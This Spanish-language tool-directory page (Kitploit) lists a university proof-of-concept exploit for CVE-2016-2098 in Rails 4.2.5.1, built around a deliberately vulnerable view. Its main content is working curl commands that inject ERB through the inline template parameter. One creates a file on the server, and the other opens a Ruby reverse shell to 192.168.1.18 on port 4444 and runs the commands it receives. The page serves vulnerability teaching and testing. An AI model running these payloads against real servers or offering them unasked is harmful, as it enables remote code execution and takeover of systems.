Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
rails-PoC-CVE-2016-2098 — Prueba de concepto CVE-2016-2098 | Kitploit
Herramientas/GitHubGitHub/alejandro-marting/rails-poc-cve-2016-2098
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubalejandro-marting/rails-poc-cve-2016-2098

rails-PoC-CVE-2016-2098

Prueba de concepto CVE-2016-2098

Ver Repositorio
11hace 9 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Una prueba de concepto de la vulnerabilidad: CVE-2016-2098

Proyecto universitario creado por @alejandro-marting donde podemos comprobar la vulnerabilidad 2096

Usando:

  • rails 4.2.5.1
  • la vista tiene un código vulnerable app/views/poc/render1.html.erb

![] (https://github.com/Alejandro-MartinG/rails-PoC-CVE-2016-2098/blob/master/app/assets/images/Captura%20de%20pantalla%20de%202017-01-15%2009:50:23.png)

##Ejecución: En primer lugar necesitamos ejecutar el servidor rails con el siguiente comando:

$ rvmsudo rails server -b 0.0.0.0 -p 80

Ahora podemos provocar la ejecución remota de código con el siguiente comando:

$ curl 'localhost:3000/poc/render1?template\[inline\]=<%25%3DFileUtils.touch+"rooted"%25>'

(Se debería generar un archivo rooted)

Si quieres probar una reverse shell con inyección de código ruby, puedes ejecutar el siguiente comando:

$ curl -H "Content-type: application/json" -X GET -d ' {"template" : {
"inline" : "<%= require \'socket\';exit if
fork;c=TCPSocket.new(\"192.168.1.18\",\"4444\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print
io.read}end %>"}}'  http://localhost:3000/poc/render1

Si tienes alguna pregunta, ¡contáctame por favor!

Descargar herramienta